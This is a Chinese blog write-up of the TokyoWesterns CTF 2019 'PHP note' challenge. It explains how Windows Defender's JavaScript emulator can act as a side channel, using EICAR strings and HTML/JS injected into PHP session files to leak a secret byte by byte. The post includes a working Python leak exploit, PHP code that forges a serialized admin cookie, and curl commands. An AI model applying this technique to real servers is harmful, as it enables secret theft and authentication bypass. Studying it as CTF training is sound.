Damn1t
for you I bleed myself dry
FRIENDS
baidu

Windows Defender 侧信道攻击

2019-09-22 vulnerable

Windows Defender 侧信道攻击

Windows Defender

Windows Defender,曾用名Microsoft Anti Spyware,是一个杀毒程序,可以运行在Windows XP和Windows Server 2003操作系统上,并已内置在Windows Vista,Windows 7,Windows8和Windows10。它的测试版于2005年1月6日发布,在2005年6月23日、2006年2月17日微软又发布了更新的测试版本。Windows Defender的定义库更新很频繁。Windows Defender不像其他同类免费产品一样只能扫描系统,它还可以对系统进行实时监控,移除已安装的Active X插件,清除大多数微软的程序和其他常用程序的历史记录。在最新发布的Windows 10中,Windows Defender已加入了右键扫描和离线杀毒,根据最新的每日样本测试,查杀率已经有了大的提升,达到国际一流水准。(摘自百度)

一般检测行为

根据 TW 的分析,Windows Defender 会有以下行为:

  • 检查文件内容是否有恶意内容
  • 改变恶意文件的权限以避免用户去加载
  • 替换恶意内容为空
  • 删除整个文件

在第二步中,如果文件被 Windows Defender 检测出是恶意文件的话,用户就不可以访问了。

滥用

EICAR

EICAR标准反病毒测试文件,又称EICAR测试文件, 是由欧洲反计算机病毒协会(EICAR)与计算机病毒研究组织(CARO)研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。

我们可以使用以下字符串测试 Windows Defender

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

只需要将这个字符串复制,然后保存在一个空白的 txt 文件当中即可触发 Windwos Defender,所以我们先通过这个样例来检查一下自己的 Windows Defender 是否开启。

若正常运行,一般会出现类似下图所示:

Mpengine.dll

根据 Tokyo Westerns 的分析,Windows Defender 有一个核心 dll 文件 Mpengine.dll ,他可以对不同的内容进行分析,包括一些 base64 encode/RAR archived/etc. ,其中比较有意思的是它还有一个 Javascript Engine

这个引擎可以分析 HTML 文档,并且可以分析其中的 Javascript 代码,包括对文档中的 DOM 元素的访问。

原文用以下代码在测试时是触发了防御检测,然而我自己测试的时候,似乎没有反应

1
2
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);

紧接着构造如下代码

1
2
3
4
5
6
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

denfender则成功监测到

继续尝试将EICAR的内容进行分解:

1
2
3
4
5
6
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>a</body>

会发现并没有被检测到

因为我们将字符串改为了‘a’

所以当我们改回‘*’时:

1
2
3
4
5
6
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>*</body>

成功被检测到

利用它

感觉很巧妙

一般而言,在写文件时,我们会对文件写入成功与否进行判定,例如:

1
2
3
$err = file_put_contents('/tmp/file_name', 'something need to be saved');
if(!$err)
return Exception;

file_put_contents 在写入成功后返回写入多少个字节,失败的时候返回 False ,然后我们就可以利用这个特性,当我们写入恶意数据的时候,因为 Windows Defender 检查出恶意内容,禁止了用户读取权限或者删除了文件,导致服务因为检查写入不成功抛出异常,而对于我们来说可能直接返回错误的状态码类似 500

于是由此可以产生一条侧信道攻击链:

1
2
3
eval("EICA"+input) -> ?
detected -> input is 'R'
not detected -> input is not 'R'

如果内容中有 <body> 标签,并且如果有无法通过正常手段读到的数据,我们可以尝试用这种类似“盲注”的方式去获取秘密数据

1
2
3
JavaScript can access the elements :)
○ if they have <body> tag
<script>document.body.innerHTML[0]</script><body>[secret]</body>

php note

这是TokyoWesterns CTF 2019 上的一道题目
注意到响应中的一个字段:

1
Server: Microsoft-IIS/10.0

根据提示查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php
include 'config.php';

class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}

public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}

public function getnotes() {
return $this->notes;
}

public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}

function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}

function is_login() {
return !empty($_SESSION['secret']);
}

function redirect($action) {
header("Location: /?action=$action");
exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}

if ($action === 'source') {
highlight_file(__FILE__);
exit();
}


session_start();

if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];

$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}

if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];

if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}

$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}

if ($action === 'logout') {
session_destroy();
redirect('index');
}

if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}

if ($action === 'getflag') {
$note->getflag();
}

?>
<!doctype html>
<html>
<head>
<title>PHP note</title>
</head>
<style>
textarea {
resize: none;
width: 300px;
height: 200px;
}
</style>
<body>
<?php
if (!is_login()) {
$realname = htmlspecialchars($realname);
$nickname = htmlspecialchars($nickname);
?>
<form action="/?action=login" method="post" id="login">
<input type="text" id="firstname" placeholder="First Name">
<input type="text" id="lastname" placeholder="Last Name">
<input type="text" name="nickname" id="nickname" placeholder="nickname">
<input type="hidden" name="realname" id="realname">
<button type="submit">Login</button>
</form>
<?php
} else {
?>
<h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
<a href="/?action=logout">logout</a>
<!-- <a href="/?action=source">source</a> -->
<br/>
<br/>
<?php
foreach($note->getnotes() as $k => $v) {
list($title, $body) = $v;
$title = htmlspecialchars($title);
$body = htmlspecialchars($body);
?>
<h2><?=$title?></h2>
<p><?=$body?></p>
<?php
}
?>
<form action="/?action=post" method="post">
<input type="text" name="title" placeholder="title">
<br>
<textarea name="body" placeholder="body"></textarea>
<button type="submit">Post</button>
</form>
<?php
}
?>
<?php
?>
<script>
document.querySelector("form#login").addEventListener('submit', (e) => {
const nickname = document.querySelector("input#nickname")
const firstname = document.querySelector("input#firstname")
const lastname = document.querySelector("input#lastname")
document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
}
})
</script>
</body>
</html>

从代码可以看出,得到flag的条件是调用Note类中的getflag函数,并且类中成员$this->isadmin === true

若能成功找到可控的反序列化漏洞点,就能控制成员变量,反序列化点如下:

1
2
3
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);

这里对$_COOKIE['note']变量进行了反序列化,但只有通过verify($_COOKIE['note'], $_COOKIE['hmac'])函数的校验,才能进行反序列化,查看verify函数:

1
2
3
4
5
6
function verify($data, $hmac)
{
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

使用了安全的hash_equals函数进行比较hash$_SESSION['secret']作为使用 HMAC 生成信息摘要时所使用的密钥。$_SESSION['secret']的生成方式如下:

1
2
3
4
5
6
if ($action === 'login') {
....................
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}

在登录时通过gen_secret函数生成:

1
2
3
4
function gen_secret($seed)
{
return md5(SALT . $seed . PEPPER);
}

$_SESSION['secret']根据我们可控的$nickname和两个未知的常量md5后生成。

verify函数的整个校验过程非常的强壮,逻辑上并不存在问题。

php session 机制

当我们在代码中调用session_start();时,PHP会同时往SESSION的存放目录(默认为/tmp/)和客户端的cookie目录各生成一个文件。session文件名称像这样:

PHP session 运行机制就是客户端将session id传递到服务器,服务器根据session id找到对应的文件,读取的时候对文件内容进行反序列化就得到session的值,保存的时候先序列化再写入

php.ini中默认是用磁盘文件来实现php会话

1
session.save_handler = files

解决办法

因为服务器是windows10,又session会以文件形式存储,根据开头介绍的Windows defender特性,我们可以侧信道攻击

题目中我们可控的几个输入变量会到$_SESSION中,那么最后都会作为文件存入服务器,都会经过Windows Defender的扫描检测。

向session文件中注入精心构造的HTML和JS代码,使secret内容成为body,沙盒引擎执行JS对secret进行猜解,猜解成功则触发Windows Defender对session文件进行拦截和修改,session文件损坏,通过账户是否能够正常登录作为侧信道进行判断。

本地搭建测试环境:

1
realname|s:18:"FirstName LastName";nickname|s:8:"NickName";secret|s:32:"3d5fb7437288f6966e4dbe5fabb1b64f";

观察发现我们可控的realnamenickname都在前面,无法注入<body></body>包裹secret,这样的顺序和位置很重要,因为我们要leak secret,需要secret在中间。

观察登录的判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];

if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}

$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}

login的行为可以多次进行,这意味着可以修改session文件存储内容,并且$realname是必须存在,但$nickname并非必要。

第一次发送请求只包含$realname$nickname为空,realname=111111<body>,session文件如下:

1
realname|s:12:"111111<body>";secret|s:32:"aab9ba42b5591219a5b20e34e0c83b78";

第二次发送请求,realname=111111<body>&nickname=</body>,session文件如下:

1
realname|s:12:"111111<body>";secret|s:32:"1cfd6d24dfd62963df7324feb1faf6fd";nickname|s:7:"</body>";

可以看到secret已经被<body>标签包裹,然后继续注入猜解body的JS。

这里我们只能将JS注入在realname中,因为nickname会被用于生成secret,所以我们让其始终为</body>

1
$_SESSION['secret'] = gen_secret($nickname);

也就是将变为三个常量拼接成为MD5参数:

1
md5(SALT . '</body>' . PEPPER);

这样生成secret将不会随着realname中的payload进行变化,修改realname中的内容如下:

1
2
3
4
5
6
7
<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(10) == 0)];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
</script><body>

再次发送请求,查看session文件:

1
2
3
4
5
6
7
realname|s:280:"<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(10) == 0)];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
</script><body>";secret|s:32:"1cfd6d24dfd62963df7324feb1faf6fd";nickname|s:7:"</body>";

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

URL = "http://phpnote.chal.ctf.westerns.tokyo" # changeme

def trigger(c, idx):
import string
p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': c})
return p

def leak(idx):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
gid = trigger(m, idx)
# r = requests.post(URL + '/?action=login', data={'realname': gid, 'nickname': '1'})
# print r.content
# exit()
s = requests.session()
s.post(URL + '/?action=login', data={'realname': gid, 'nickname': ''})
if "/?action=login" in s.post(URL + '/?action=login', data={'realname': gid, 'nickname': '</body>'}).content:
l = m
else:
h = m
return chr(l)

data = ''
for i in range(100):
data += leak(i)
print(data)

构造序列化内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}

public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}

public function getnotes() {
return $this->notes;
}

public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}

function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
return "2532bd172578d19923e5348420e02320";
}

// create session
$_SESSION = Array();
$_SESSION['secret'] = gen_secret('');
$_SESSION['realname'] = "stypr stypr";
$_SESSION['nickname'] = "";

// generate note
$note = new Note(true);
$note->addnote("work", "work");
$data = base64_encode(serialize($note));

/* verify
//echo "Data: ".(string)$data."\n";
//echo "HMAC: ".(string)hmac($data)."\n";
//echo "-----";
//var_dump(verify((string)$data, (string)hmac($data)));
*/
?>
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=logout' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --insecure
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=login' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --data 'nickname=</body>&realname=stypr+stypr' --compressed --insecure
curl -s "http://phpnote.chal.ctf.westerns.tokyo/?action=getflag" -H "Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a; note=<?php echo $data; ?>; hmac=<?php echo hmac($data); ?>;"

reference:
https://forum.90sec.com/t/topic/406/1
https://www.processlibrary.com/en/directory/files/mpengine/404976/
https://www.secpulse.com/archives/112377.html

Author: damn1t

Link: http://microvorld.com/2019/09/22/vulnerable/Windows Defender 侧信道攻击/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
Joomla 3.4.6 RCE 复现
NextPost >
calc与拟态防御
CATALOG
  1. 1. Windows Defender 侧信道攻击
    1. 1.1. Windows Defender
    2. 1.2. 一般检测行为
    3. 1.3. 滥用
      1. 1.3.1. EICAR
      2. 1.3.2. Mpengine.dll
    4. 1.4. 利用它
    5. 1.5. php note
      1. 1.5.1. php session 机制
      2. 1.5.2. 解决办法